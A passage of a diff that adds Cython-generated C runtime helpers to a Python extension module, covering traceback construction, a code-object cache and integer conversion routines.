use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__42); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | 